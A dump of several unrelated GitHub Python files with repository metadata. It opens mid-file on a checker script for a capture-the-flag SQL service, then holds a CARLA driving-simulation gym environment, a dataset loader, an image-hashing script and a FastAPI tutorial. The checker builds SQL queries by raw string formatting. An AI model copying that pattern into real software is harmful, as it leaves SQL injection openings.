\".quit\")\n s.close()\n\n sys.exit(OK)\n\ndef put(args):\n if len(args) != 4:\n verdict(CHECKER_ERROR, \"Wrong args count\", \"Wrong args count for put()\")\n host, flag_id, flag_data, vuln = args\n trace(\"put(%s, %s, %s, %s)\" % (host, flag_id, flag_data, vuln))\n\n s = socket.socket()\n s.settimeout(5)\n\n try:\n s.connect((host, PORT))\n except ConnectionRefusedError:\n verdict(DOWN, \"Connection error\", \"Connection refused\")\n except socket.timeout:\n verdict(DOWN, \"Timeout\", \"Connection timeout\")\n except OSError as e:\n if 'No route to host' in str(e):\n verdict(DOWN, \"No route to host\", \"No route to host\")\n else:\n raise\n\n trace(\"Waiting for `> `\")\n\n try:\n data = s.recv(1024).decode('utf-8')\n except socket.timeout:\n verdict(DOWN, \"Timeout\", \"Timeout while receiving `> `\")\n\n if data != '> ':\n verdict(MUMBLE, \"Protocol error\", \"Expected `> `, received `%s`\" % data)\n \n sql = \"ATTACH DATABASE '%s' as db; CREATE TABLE db.flags (flag text NOT NULL); INSERT INTO db.flags VALUES('%s');\\n\" % (flag_id, flag_data)\n\n trace(\"Executing `%s`\" % sql.rstrip())\n\n try:\n s.send(sql.encode('utf-8'))\n except socket.timeout:\n verdict(DOWN, \"Timeout\", \"Timeout while sending query\")\n\n try:\n data = s.recv(1024).decode('utf-8')\n except socket.timeout:\n verdict(DOWN, \"Timeout\", \"Timeout while receiving insert response\")\n\n if data != '> ':\n verdict(MUMBLE, \"Protocol error\", \"Expected `> `, received `%s`\" % data)\n\n s.close()\n\n sys.exit(OK)\n\ndef get(args):\n if len(args) != 4:\n verdict(CHECKER_ERROR, \"Wrong args count\", \"Wrong args count for get()\")\n host, flag_id, flag_data, vuln = args\n trace(\"get(%s, %s, %s, %s)\" % (host, flag_id, flag_data, vuln))\n\n s = socket.socket()\n s.settimeout(5)\n\n try:\n s.connect((host, PORT))\n except ConnectionRefusedError:\n verdict(DOWN, \"Connection error\", \"Connection refused\")\n except socket.timeout:\n verdict(DOWN, \"Timeout\", \"Connection timeout\")\n except OSError as e:\n if 'No route to host' in str(e):\n verdict(DOWN, \"No route to host\", \"No route to host\")\n else:\n raise\n\n trace(\"Waiting for `> `\")\n\n try:\n data = s.recv(1024).decode('utf-8')\n except socket.timeout:\n verdict(DOWN, \"Timeout\", \"Timeout while receiving `> `\")\n\n if data != '> ':\n verdict(MUMBLE, \"Protocol error\", \"Expected `> `, received `%s`\" % data)\n \n sql = \"ATTACH DATABASE '%s' as db; SELECT flag from db.flags;\\n\" % flag_id\n trace(\"Executing `%s`\" % sql.rstrip())\n\n try:\n s.send(sql.encode('utf-8'))\n except socket.timeout:\n verdict(DOWN, \"Timeout\", \"Timeout during put()\")\n\n try:\n data = s.recv(1024).decode('utf-8')\n except socket.timeout:\n verdict(DOWN, \"Timeout\", \"Timeout while receiving insert response\")\n\n lines = data.splitlines()\n\n expected = '|%s|' % flag_data\n if len(lines) > 0 and lines[0] != expected:\n verdict(CORRUPT, \"Can't get flag\", \"Expected `%s`, received `%s`\" % (expected, lines[0]))\n\n s.close()\n\n sys.exit(OK)\n\ndef main(args):\n if len(args) == 0:\n verdict(CHECKER_ERROR, \"No args\")\n try:\n if args[0] == \"info\":\n info()\n elif args[0] == \"check\":\n check(args[1:])\n elif args[0] == \"put\":\n put(args[1:])\n elif args[0] == \"get\":\n get(args[1:])\n else:\n verdict(CHECKER_ERROR, \"Checker error\", \"Wrong action: \" + args[0])\n except Exception as e:\n verdict(CHECKER_ERROR, \"Checker error\", \"Exception: %s\" % traceback.format_exc())\n\nif __name__ == \"__main__\":\n try:\n main(sys.argv[1:])\n verdict(CHECKER_ERROR, \"Checker error (NV)\", \"No verdict\")\n except Exception as e:\n verdict(CHECKER_ERROR, \"Checker error (CE)\", \"Exception: %s\" % e)\n","repo_name":"HITB-CyberWeek/proctf-2019","sub_path":"checkers/sql_demo/sql_demo.checker.py","file_name":"sql_demo.checker.py","file_ext":"py","file_size_in_byte":11156,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"8185786241","text":"import math\nimport os\nimport queue\nimport random\n\nimport gym\nfrom gym.spaces import Discrete, Box, Tuple, MultiDiscrete\nfrom database.sql import Sql\nimport numpy as np\nfrom gym_carla.carla_utils import *\nimport cv2\n# Import classes\nfrom source.reward import Reward\nfrom source.media_handler import MediaHandler\nfrom source.gps import Gps\nfrom multiprocessing import Condition, Lock\nmakeCarlaImportable()\nimport carla\nfrom PIL import Image\n\n\nclass CarlaSyncEnv(gym.Env):\n \"\"\"Sets up CARLA simulation and declares necessary instance variables\"\"\"\n\n def __init__(self, thread_count, lock, frameNumber, waiting_threads, carlaInstance=0, sessionId=None, world_ticks=None, name=\"NoNameWasGiven\", runner=None, serverIndex=0):\n # Connect a client\n self.client = carla.Client(*settings.CARLA_SIMS[serverIndex][:2])\n self.client.set_timeout(2.0)\n self.thread_count = thread_count\n self.tick_lock = lock\n self.modelName = name\n self.frameNumber = frameNumber\n self.waiting_threads = waiting_threads\n self.world_ticks = world_ticks\n\n # Set necessary instance variables related to client\n self.world = self.client.get_world()\n self.blueprintLibrary = self.world.get_blueprint_library()\n self.carlaInstance = carlaInstance\n\n # Sensors and helper lists\n self.actorList = []\n self.imgWidth = settings.CARLA_IMG_WIDTH\n self.imgHeight = settings.CARLA_IMG_HEIGHT\n self.episodeTicks = 0\n self.totalTicks = 0\n\n # Video variables\n self.episodeNr = 0 # TODO WARNING: be careful using this as it also counts validation episodes\n self.sql = Sql()\n self.sessionId = sessionId\n\n # Early stopping variables\n self.grassLocation = None\n self.grassStuckTick = 0\n\n # Declare variables for later use\n self.vehicle = None\n self.segSensor = None\n self.grassSensor = None\n self.splineSensor = None\n self.imgFrame = None\n self.segImgFrame = None\n self.wheelsOnGrass = None\n self.episodeStartTime = 0\n self.episodeReward = None\n self.distanceOnSpline = None\n self.splineMaxDistance = None\n self.previousDistanceOnSpline = None\n\n self.queues = [] # List of tuples (queue, dataProcessingFunction)\n self.logBuffer = []\n\n self.runner = runner\n\n # Declare reward dependent values\n self.car_last_tick_pos = None\n self.car_last_tick_transform = None\n self.car_last_tick_wheels_on_road = None\n self.car_last_episode_time = None\n\n # Spline direction determining\n self.DIRECTION_THRESHOLD = 10\n self.direction = 0\n self.poscounter = 0\n self.negcounter = 0\n\n # Declare classes\n self.reward = Reward(self)\n self.mediaHandler = MediaHandler(self)\n self.gps = Gps(self)\n\n # Defines image space as a box which can look at standard rgb images of size imgWidth by imgHeight\n imageSpace = Box(low=0, high=255, shape=(self.imgHeight, self.imgWidth, 3), dtype=np.uint8)\n\n # Defines observation and action spaces\n self.observation_space = imageSpace\n self.segmented_observation_space = (self.imgHeight, self.imgWidth)\n\n if settings.MODEL_ACTION_TYPE == ActionType.DISCRETE.value:\n self.action_space = Discrete(len(DISCRETE_ACTIONS))\n elif settings.MODEL_ACTION_TYPE == ActionType.MULTI_DISCRETE.value:\n # 1) Throttle: Discrete 4 - [0]:0.0, [1]:0.3, [2]:0.6, [3]:1.0\n # 2) Brake: Discrete 3 - [0]:0.0, [1]:0.5, [2]:1\n # 3) Steer: Discrete 5 - [0]:-1.0, [1]:-0.5, [2]:0.0, [3]:0.5, [4]:1.0\n self.action_space = MultiDiscrete([4, 3, 21])\n self.throttleMapLen = float(self.action_space.nvec[0]-1)\n self.brakeMapLen = float(self.action_space.nvec[1]-1)\n self.steerMapLen = float(self.action_space.nvec[2]-1)/2\n elif settings.MODEL_ACTION_TYPE == ActionType.BOX.value:\n # [Throttle, Steer, brake]\n self.action_space = Box(np.array([0, 0, -0.5]), np.array([+1, +1, +0.5]), dtype=np.float32)\n else:\n raise Exception(\"No such action type, change settings\")\n\n if settings.AGENT_SYNCED: self.tick(10)\n\n def prepare_for_world_change(self):\n self._resetActorList()\n self._resetInstanceVariables()\n #self.client = None\n #self.world = None\n #self.blueprintLibrary = None\n\n def reset_world(self):\n #self.client = carla.Client(*settings.CARLA_SIMS[0][:2])\n #self.client.set_timeout(2.0)\n self.world = self.client.get_world()\n self.blueprintLibrary = self.world.get_blueprint_library()\n\n\n def close(self):\n self._resetActorList()\n\n ''':returns initial observation'''\n def reset(self):\n if self.episodeReward is not None:\n self.episodeNr += 1 # Count episodes TODO WARNING: be careful using this as it also counts validation episodes\n\n #self.logSensor(\"reset()\")\n\n # Print episode and reward for that episode\n if self.carlaInstance == 0 and self.car_last_episode_time is not None:\n print(f\"Episode: {self.episodeNr} - Reward: {self.episodeReward} \\t - Time: {time.time() - self.car_last_episode_time}\")\n\n # Frames are only added, if it's a video episode, so if there are frames it means that last episode\n # was a video episode, so we should export it, before we reset the frames list below\n if self.mediaHandler.episodeFrames:\n self.mediaHandler.exportAndUploadVideoToDB()\n\n # Reset actors, variables and rewards for next episode\n self._resetActorList()\n self._resetInstanceVariables()\n self.episodeReward = 0\n\n # Create new actors and add to actor list\n self._createActors()\n\n # Workaround to start episode as quickly as possible\n self._applyActionDiscrete(Action.BRAKE.value)\n\n # Wait for camera to send first image\n self._waitForWorldToBeReady()\n\n # Set last tick variables to equal starting pos information\n self.car_last_tick_pos = self.vehicle.get_location()\n self.car_last_tick_transform = self.vehicle.get_transform()\n self.car_last_tick_wheels_on_road = 4\n\n # Disengage brakes from earlier workaround\n self._applyActionDiscrete(Action.DO_NOTHING.value)\n return [self.imgFrame, self.segImgFrame] # Returns initial observation (First image)\n\n ''':returns (obs, reward, done, extra)'''\n def step(self, action):\n self.episodeTicks += 1\n # self.totalTicks += 1\n\n # Do action\n if settings.MODEL_ACTION_TYPE == ActionType.DISCRETE.value:\n self._applyActionDiscrete(action)\n elif settings.MODEL_ACTION_TYPE == ActionType.MULTI_DISCRETE.value:\n self._applyActionMultiDiscrete(action)\n elif settings.MODEL_ACTION_TYPE == ActionType.BOX.value:\n self._applyActionBox(action)\n else:\n raise Exception(\"No such action type, change settings\")\n\n self.gps.log_location()\n\n if settings.AGENT_SYNCED:\n self.tick(10)\n\n is_done = self._isDone() # Must be calculated before rewards\n\n # Update reward\n reward = self.reward.calcReward()\n self.episodeReward += reward\n\n # if is_done and self.carlaInstance == 0 and self.mediaHandler.episodeFrames:\n # extra = {\"episode\": {\"episodeNr\": self.episodeNr, \"frames\": self.mediaHandler.episodeFrames}}\n # else:\n # extra = {}\n\n return [self.imgFrame, self.segImgFrame], reward, is_done, {} # extra\n\n def synchronized_world_tick(self):\n #self.logSensor(f\"synchronized_world_tick pre [{self.frameNumber.value}]\")\n self.tick_lock.acquire()\n self.waiting_threads.value += 1\n if self.waiting_threads.value < self.thread_count:\n #self.logSensor(\"Waiting\")\n self.tick_lock.wait()\n #self.logSensor(\"Done waiting\")\n # Wait until someone notifies that the world has ticked\n else:\n if self.world_ticks is not None:\n self.world_ticks.value += 1\n self.frameNumber.value = self.world.tick()\n\n self.waiting_threads.value = 0\n self.tick_lock.notify_all()\n self.tick_lock.release()\n\n def tick(self, timeout):\n #self.logSensor(f\"Tick pre [{self.frameNumber.value}]\")\n self.synchronized_world_tick()\n #self.logSensor(f\"Tick post [{self.frameNumber.value}]\")\n\n data = [self._retrieve_data(queueTuple, timeout) for queueTuple in self.queues]\n #self.logSensor(f\"-> Data: {data}\")\n\n # assert all(x.frame == self.frameNumber.value for x in data)\n return data\n\n def tick_unsync(self, timeout):\n #self.logSensor(f\"Tick_unsync pre [{self.frameNumber.value}]\")\n old_frame = self.world.tick()\n self.frameNumber.value = self.world.get_snapshot().timestamp.frame\n #self.logSensor(f\"Tick_unsync post [{self.frameNumber.value}]\")\n #self.logSensor(f\"old_frame_metod[{old_frame} vs new_frame_method{self.frameNumber.value}] - {'EXCEPTION' if old_frame != self.frameNumber.value else ''}\")\n\n data = [self._retrieve_data(queueTuple, timeout) for queueTuple in self.queues]\n #self.logSensor(f\"-> Data: {data}\")\n\n return data\n\n def _makeQueue(self, registerEvent, processData):\n #self.logSensor(f\"MakeQueue()\")\n q = queue.Queue()\n registerEvent(lambda item, block=True, timeout=None: self._putData(q, item, block=block, timeout=timeout))\n self.queues.append((q, processData))\n\n def _putData(self, q, item, block, timeout):\n #self.logSensor(f\"Put item({item.frame}) in queue({q})\")\n q.put(item, block=block, timeout=timeout)\n\n def _retrieve_data(self, queueTuple, timeout):\n #self.logSensor(f\"Retrive_data(): \")\n\n while True:\n try:\n data = queueTuple[0].get(block=True, timeout=timeout)\n #self.logSensor(f\"-> Data: {data}\")\n except queue.Empty as e:\n #self.logSensor(\"Retrive_data() Queue empty - EXCEPTION\")\n return None\n except Exception as e:\n #self.logSensor(\"Retrive_data() other - EXCEPTION\")\n return None\n\n if data.frame == self.frameNumber.value:\n #self.logSensor(f\"--> Same frame number\")\n dataProcessFunction = queueTuple[1]\n dataProcessFunction(data) # Process data\n return data\n\n def _printLog(self):\n if not settings.LOG_SENSOR or not self.carlaInstance == 0:\n return\n\n log_path = \"/data.log\"\n append_write = self._getLogAccess(log_path)\n\n log_file = open(log_path, append_write)\n\n for line in self.logBuffer:\n self._logLn(log_file, line)\n\n # Reset buffer\n self.logBuffer = []\n\n def logSensor(self, line):\n if settings.LOG_SENSOR and self.carlaInstance == 0:\n self.logBuffer.append(line)\n\n def _logLn(self, file, line):\n file.write(f\"{self.frameNumber.value}: {line}\\n\")\n\n def _getLogAccess(self, file_path):\n if os.path.exists(file_path):\n return 'a' # append if already exists\n else:\n return 'w' # make a new file if not\n\n def _resetInstanceVariables(self):\n # Declare variables for later use\n self.vehicle = None\n self.segSensor = None\n self.grassSensor = None\n self.imgFrame = None\n self.segImgFrame = None\n self.wheelsOnGrass = None\n self.episodeTicks = 0\n self.episodeReward = None\n self.queues = []\n\n # Early stopping\n self.grassLocation = None\n self.grassStuckTick = 0\n\n # Declare reward dependent values\n self.car_last_tick_pos = None\n self.car_last_tick_transform = None\n self.car_last_tick_wheels_on_road = None\n self.car_last_episode_time = time.time()\n self.previousDistanceOnSpline = None\n\n # Video\n self.mediaHandler.episodeFrames = []\n\n # # GPS\n # self.gps.reset()\n\n\n def _createActors(self):\n # Spawn vehicle\n self.vehicle = self._createNewVehicle()\n self.actorList.append(self.vehicle) # Add to list of actors which makes it easy to clean up later\n\n # Make segmentation sensor blueprint\n self.segSensor = self._createSegmentationSensor()\n self.actorList.append(self.segSensor)\n\n # Create grass sensor\n self.grassSensor = self._createGrassSensor()\n self.actorList.append(self.grassSensor)\n\n self.splineSensor = self._createSplineSensor()\n self.actorList.append(self.splineSensor)\n\n # Destroy all previous actors, and clear actor list\n def _resetActorList(self):\n # Destroy all actors from previous episode\n for actor in self.actorList:\n actor.destroy()\n\n # Clear all actors from the list from previous episode\n self.actorList = []\n\n # Waits until the world is ready for training\n def _waitForWorldToBeReady(self):\n #self.logSensor(\"_waitForWorldToBeReady()\")\n\n self.tick_lock.acquire()\n while self._isWorldNotReady():\n if settings.AGENT_SYNCED:\n self.tick_unsync(10)\n self.tick_lock.release()\n\n self.tick(10)\n\n #self.logSensor(\"->world is ready!\")\n\n # Returns true if the world is not yet ready for training\n def _isWorldNotReady(self):\n # print(self.wheelsOnGrass)\n return self.imgFrame is None or self.wheelsOnGrass != 0\n\n # Creates a new vehicle and spawns it into the world as an actor\n # Returns the vehicle\n def _createNewVehicle(self):\n vehicle_blueprint = self.blueprintLibrary.filter('test')[0]\n color = random.choice(vehicle_blueprint.get_attribute('color').recommended_values)\n vehicle_blueprint.set_attribute('color', '0,255,0')\n\n vehicle_spawn_transforms = self.world.get_map().get_spawn_points()\n if settings.USE_RANDOM_SPAWN_POINTS:\n index = self.carlaInstance % len(vehicle_spawn_transforms)\n #vehicle_spawn_transform = random.choice(vehicle_spawn_transforms) # Pick a random spawn point\n vehicle_spawn_transform = vehicle_spawn_transforms[index]\n else:\n vehicle_spawn_transform = vehicle_spawn_transforms[0] # Use the first spawn point\n return self.world.spawn_actor(vehicle_blueprint, vehicle_spawn_transform) # Spawn vehicle\n\n # Creates a new segmentation sensor and spawns it into the world as an actor\n # Returns the sensor\n def _createSegmentationSensor(self):\n # Make segmentation sensor blueprint\n seg_sensor_blueprint = self.blueprintLibrary.find('sensor.camera.modified_semantic_segmentation')\n seg_sensor_blueprint.set_attribute('image_size_x', str(self.imgWidth))\n seg_sensor_blueprint.set_attribute('image_size_y', str(self.imgHeight))\n seg_sensor_blueprint.set_attribute('fov', '110')\n relative_transform_sensor = carla.Transform(carla.Location(x=2, z=3), carla.Rotation(pitch=-45)) # Place sensor on the front of car\n\n # Spawn semantic segmentation sensor, start listening for data and add to actorList\n seg_sensor = self.world.spawn_actor(seg_sensor_blueprint, relative_transform_sensor, attach_to=self.vehicle)\n self._makeQueue(seg_sensor.listen, processData=self.mediaHandler.processImage)\n # seg_sensor.listen(self.mediaHandler.processImage)\n return seg_sensor\n\n # Creates a new grass sensor and spawns it into the world as an actor\n # Returns the sensor\n def _createGrassSensor(self):\n # Sensor blueprint\n grass_blueprint = self.blueprintLibrary.find('sensor.other.safe_distance')\n grass_blueprint.set_attribute('safe_distance_z_height', '60')\n grass_blueprint.set_attribute('safe_distance_z_origin', '10')\n\n # Grass sensor actor\n grass_sensor = self.world.spawn_actor(grass_blueprint, carla.Transform(), attach_to=self.vehicle)\n self._makeQueue(grass_sensor.listen, processData=self._grass_data)\n # grass_sensor.listen(self._grass_data)\n # Return created actor\n return grass_sensor\n\n # Creates a new spline distance sensor and spawns it into the world as an actor\n # Returns the sensor\n def _createSplineSensor(self):\n # Sensor blueprint\n spline_blueprint = self.blueprintLibrary.find('sensor.other.spline_distance')\n\n # Grass sensor actor\n spline_sensor = self.world.spawn_actor(spline_blueprint, carla.Transform(), attach_to=self.vehicle)\n self._makeQueue(spline_sensor.listen, processData=self._spline_data)\n # Return created actor\n return spline_sensor\n\n # Applies a discrete action to the vehicle\n def _applyActionDiscrete(self, action):\n # If action does something, apply action\n self.vehicle.apply_control(carla.VehicleControl(\n throttle=DISCRETE_ACTIONS[Action(action)][0],\n brake=DISCRETE_ACTIONS[Action(action)][1],\n steer=DISCRETE_ACTIONS[Action(action)][2]\n ))\n\n def _applyActionMultiDiscrete(self, action):\n # If action does something, apply action\n self.vehicle.apply_control(carla.VehicleControl(\n throttle=action[0]/self.throttleMapLen,\n brake=action[1]/self.brakeMapLen,\n steer=(action[2]/self.steerMapLen)-1\n ))\n\n # Applies a box action to the vehicle\n def _applyActionBox(self, action):\n self.vehicle.apply_control(carla.VehicleControl(\n throttle=float(action[0]),\n brake=float(action[1]),\n steer=float(action[2]),\n ))\n\n # Returns the amount of meters traveled since last tick\n # and updated last pos to current pos\n def metersTraveledSinceLastTick(self):\n # Calculate meters driven\n last = self.car_last_tick_pos\n current = self.vehicle.get_location()\n\n x_diff = current.x - last.x\n y_diff = current.y - last.y\n z_diff = current.z - last.z\n\n distance_traveled = math.sqrt(x_diff**2 + y_diff**2 + z_diff**2)\n\n # Return distance traveled in meters\n return distance_traveled\n\n # Returns the amount of wheels on the road\n def wheelsOnRoad(self):\n return 4 - self.wheelsOnGrass\n\n # Returns the cars current velocity in km/h\n def getCarVelocity(self):\n if self.vehicle is None or not self.vehicle.is_alive:\n return 0\n\n vel_vec = self.vehicle.get_velocity() # The velocity vector\n mps = math.sqrt(vel_vec.x ** 2 + vel_vec.y ** 2 + vel_vec.z ** 2) # Meter pr. second\n kph = mps * 3.6 # Speed in km/h (From m/s) # Km pr hour\n\n return kph\n\n def getDistanceMovedAlongSpline(self):\n distanceAlongSpline = self.distanceOnSpline - self.previousDistanceOnSpline if self.previousDistanceOnSpline is not None else 0\n if distanceAlongSpline < -0.8 * self.splineMaxDistance: # If the car has completed an entire loop the distance moved will be a negative number close to the max spline distance\n distanceAlongSpline = self.splineMaxDistance - self.previousDistanceOnSpline + self.distanceOnSpline # Should instead be the distance to the finish line + the distance past the finish line\n elif distanceAlongSpline > 0.8 * self.splineMaxDistance: # If the car somehow reverses by the finish line it will have moved a distance close to max spline distance\n distanceAlongSpline = -(self.previousDistanceOnSpline + (self.splineMaxDistance - self.distanceOnSpline)) # Should instead be the negative distance that the vehicle moved backwards\n elif abs(distanceAlongSpline) > 1000:\n distanceAlongSpline = 0\n return distanceAlongSpline/100\n\n def NEW_getDistanceMovedAlongSpline(self):\n distanceAlongSpline = self.distanceOnSpline - self.previousDistanceOnSpline if self.previousDistanceOnSpline is not None else 0\n if distanceAlongSpline < -0.8 * self.splineMaxDistance: # If the car has completed an entire loop the distance moved will be a negative number close to the max spline distance\n distanceAlongSpline = self.splineMaxDistance - self.previousDistanceOnSpline + self.distanceOnSpline # Should instead be the distance to the finish line + the distance past the finish line\n elif distanceAlongSpline > 0.8 * self.splineMaxDistance: # If the car somehow reverses by the finish line it will have moved a distance close to max spline distance\n distanceAlongSpline = -(self.previousDistanceOnSpline + (self.splineMaxDistance - self.distanceOnSpline)) # Should instead be the negative distance that the vehicle moved backwards\n elif abs(distanceAlongSpline) > 1000:\n distanceAlongSpline = 0\n\n # If committed to opposing the spline direction, reverse the reward\n if self.direction == -1:\n distanceAlongSpline *= -1\n # If not committed to a direction yet, both ways give positive reward, and points towards committing to that direction.\n elif self.direction == 0:\n if np.sign(distanceAlongSpline) > 0:\n self.poscounter += 1\n if self.poscounter > self.DIRECTION_THRESHOLD:\n self.direction = 1\n elif np.sign(distanceAlongSpline) < 0:\n self.negcounter += 1\n if self.negcounter > self.DIRECTION_THRESHOLD:\n self.direction = -1\n distanceAlongSpline = abs(distanceAlongSpline)\n\n return distanceAlongSpline/100\n\n # Returns true if the current episode should be stopped\n def _isDone(self):\n # If episode length is exceeded it is done\n episode_expired = self._isEpisodeExpired()\n is_stuck_on_grass = self._isStuckOnGrass()\n car_on_grass = self._isCarOnGrass()\n max_negative_reward = self._isMaxNegativeRewardAccumulated()\n\n return episode_expired #or is_stuck_on_grass # or car_on_grass or max_negative_reward\n\n # Returns true if the current max episode time has elapsed\n def _isEpisodeExpired(self):\n if settings.CARLA_SECONDS_MODE_LINEAR:\n scale = min((self.episodeNr / settings.CARLA_SECONDS_PER_EPISODE_EPISODE_RANGE), 1) # Calculate scale depending on episode nr\n range_diff = settings.CARLA_SECONDS_PER_EPISODE_LINEAR_MAX - settings.CARLA_SECONDS_PER_EPISODE_LINEAR_MIN # Calculate min / max difference\n total_seconds = settings.CARLA_SECONDS_PER_EPISODE_LINEAR_MIN + (range_diff * scale) # Calculate current total episodes\n\n # if self.carlaInstance == 0:\n # print(str(total_seconds))\n\n total_max_episode_ticks = int(total_seconds * (1 / settings.AGENT_TIME_STEP_SIZE)) # Calculate new total_max_episode_ticks\n else:\n total_max_episode_ticks = settings.CARLA_TICKS_PER_EPISODE_STATIC\n\n return self.episodeTicks > total_max_episode_ticks\n\n # Returns true if all four wheels are not on the road\n def _isCarOnGrass(self):\n return self.wheelsOnGrass == 4\n\n # Returns true if the maximum negative reward has been accumulated\n def _isMaxNegativeRewardAccumulated(self):\n return self.episodeReward < -500\n\n def _isStuckOnGrass(self):\n if self.wheelsOnGrass == 4 and self.metersTraveledSinceLastTick() < 0.5:\n self.grassStuckTick += 1\n return self.grassStuckTick > 5\n else:\n self.grassStuckTick = 0\n return False\n\n '''Each time step, model predicts and steps an action, after which render is called'''\n def render(self, mode='human'):\n pass\n\n def _grass_data(self, event):\n #self.logSensor(\"_grass_data()\")\n self.wheelsOnGrass = event[0] + event[1] + event[2] + event[3]\n # print(f\"({event[0]},{event[1]},{event[2]},{event[3]})\")\n\n def _spline_data(self, event):\n #self.logSensor(\"_spline_data()\")\n self.distanceOnSpline = event[0]\n self.splineMaxDistance = event[1]\n\n # if self.carlaInstance is 0 and (self.episodeTicks + 1) % 100 == 0: print(f\"Progress: {self.distanceOnSpline/self.splineMaxDistance*100:.2f}%\")","repo_name":"Reniets/P5_IncrementalTransferLearningForReinforcementLearningInARealisticEnvironment","sub_path":"gym_carla/envs/carla_synchronous_env.py","file_name":"carla_synchronous_env.py","file_ext":"py","file_size_in_byte":24607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42040141179","text":"import pandas as pd\r\nimport os.path\r\nimport os\r\nfrom config.DataSetBase import DataSetBase\r\n\r\nclass CommunitiesAndCrime(DataSetBase):\r\n\r\n def load_data(self):\r\n name = \"CommunitiesAndCrime\"\r\n url = 'https://archive.ics.uci.edu/ml/machine-learning-databases/communities/communities.data'\r\n\r\n if not os.path.exists(\"data/\"+name+\".csv\"):\r\n self.download_data(url, name)\r\n os.rename(\"data/communities.data\", \"data/\"+name+\".csv\")\r\n print(\"Done.\")\r\n\r\n self.data = pd.read_csv(\"data/\"+name+\".csv\", sep=',', na_values='?')\r\n self.columns = list(map(str, list(range(len(self.data.columns)))))\r\n \r\n self.data.columns = self.columns\r\n self.data.drop(columns=['3'], inplace=True)\r\n self.mutation_cols = list(self.data.columns)","repo_name":"Oj5000/multivariatevsregression","sub_path":"experiment/config/CommunitiesAndCrime.py","file_name":"CommunitiesAndCrime.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2015090491","text":"import numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nfrom subprocess import check_output\nimport zipfile\nimport os\nimport io\nfrom PIL import Image\nimport cv2\nimport datetime\nfrom tqdm import tqdm\n\ndef dhash(image,hash_size = 16):\n image = image.convert('LA').resize((hash_size+1, hash_size), Image.ANTIALIAS)\n mat = np.array(\n list(map(lambda x: x[0], image.getdata()))\n ).reshape(hash_size, hash_size+1)\n \n return ''.join(\n map(\n lambda x: hex(x)[2:].rjust(2,'0'),\n np.packbits(np.fliplr(np.diff(mat) < 0))\n )\n )\n\npath = '/Users/dhanley2/Documents/Personal/rsna/data'\ntrndf = pd.read_csv(os.path.join(path, 'train.csv.gz'))\n\nimg_id_hash = []\nimgdir = 'stage_1_train_png_224x'\nfor imname in tqdm(os.listdir(os.path.join(path, imgdir))):\n try:\n img = Image.open(os.path.join(path, imgdir, imname))\n img_hash = dhash(img)\n img_id_hash.append([imname,img_hash])\n except:\n print ('Could not read ' + str(imname))\n \n \n \ndf = pd.DataFrame(img_id_hash,columns=['Image','image_hash'])\ndf['Image'] = df['Image'].str.replace('.jpg', '')\n#df.to_csv('image_hash_trn.csv') ","repo_name":"ynhuhu/RSNA-Intracranial-Hemorrhage-Detection","sub_path":"eda/get_image_hash.py","file_name":"get_image_hash.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"9191905583","text":"from typing import Optional\nfrom fastapi import Body, FastAPI, Response, status, HTTPException\nfrom pydantic import BaseModel\nfrom random import randrange\n\n# Create an instance of FastAPI\napp = FastAPI()\n\n### CRUD: Create (POST), Read (GET), Update (PUT or PATCH), Delete\n\n# Schema: Creating a 'Post' pydantic model\nclass Post(BaseModel): # Post inherits 'BaseModel', which will grab the body from your HTTP request\n title: str # This will only accept 'title' and 'content', and only if they are strings\n content: str # It will reject all other data\n published: bool = True # Default value (if the user doesn't provide a value, it'll default to True)\n rating: Optional[int] = None # Optional field, default value of None\n\n# For now, in lieu of using a database, we're gonna save the data in memory.\n# 'my_posts' list:\nmy_posts = [{\"title\": \"title of post 1\", \"content\": \"content of post 1\", \"id\": 1}, {\"title\": \"food\", \"content\": \"pizza\", \"id\": 2}]\n\ndef find_post(id):\n for p in my_posts:\n if p[\"id\"] == id:\n return p\n\ndef find_index_post(id):\n for i, p in enumerate(my_posts):\n if p['id'] == id:\n return i\n\n\n### GET operations ###\n# Path Operation (aka Route)\n@app.get(\"/\") # The decorator allows you to use FastAPI with HTTP Methods,\ndef root(): # the Path in the \"get\" method is whats appended to the URL\n return {\"message\": \"Welcome to Seba's API!\"} \n\n# Path Operation for GETting posts\n@app.get(\"/posts\")\ndef get_posts():\n return {\"data\": my_posts} # FastAPI automatically turns an array (my_posts) into JSON\n\n# Get the latest post\n@app.get(\"/posts/latest\")\ndef get_latest_post():\n post = my_posts[len(my_posts)-1]\n return {\"detail\": post}\n\n# using a Path Parameter\n@app.get(\"/posts/{id}\") # Warning: because this is similar to \"/posts/latests\", if you put this before 'latests' it will think 'latests' is an input for 'id'\ndef get_post(id: int, response: Response): # error validation! if an integer is not passed in, FastAPI will throw an error\n post = find_post(id)\n if not post: # if the post doesn't exist, throw a 404\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"post with id: '{id}' was not found.\")\n return {\"post_detail\": post}\n\n\n### POST operations ###\n# Path Operation for Creating posts\n@app.post(\"/posts\", status_code=status.HTTP_201_CREATED)\ndef create_posts(new_post: Post): # Set 'new_post' equal to the data validated by the 'Post' pydantic model\n print(new_post.title) # access only the 'title' property\n print(new_post)\n post_dict = new_post.dict() # turn the array into a dictionary; this way we can alter it\n post_dict['id'] = randrange(0, 1000) # add a new item to the dict: 'id': ''\n my_posts.append(post_dict)\n\n return {\"data\": post_dict} \n\n\n### DELETE operations ###\n\n@app.delete(\"/posts/{id}\", status_code=status.HTTP_204_NO_CONTENT)\ndef delete_post(id: int):\n index = find_index_post(id)\n if index == None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, \n detail=f\"post with id '{id}' does not exist.\")\n my_posts.pop(index)\n return Response(status_code=status.HTTP_204_NO_CONTENT) #returning this because when you delete something you DONT want to send data back\n\n\n### UPDATE operations (PUT, PATCH) ###\n\n# Update an entire post (must have all required fields)\n@app.put(\"/posts/{id}\")\ndef update_post(id: int, post: Post):\n index = find_index_post(id)\n\n if index == None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, \n detail=f\"post with id '{id}' does not exist.\")\n \n post_dict = post.dict()\n 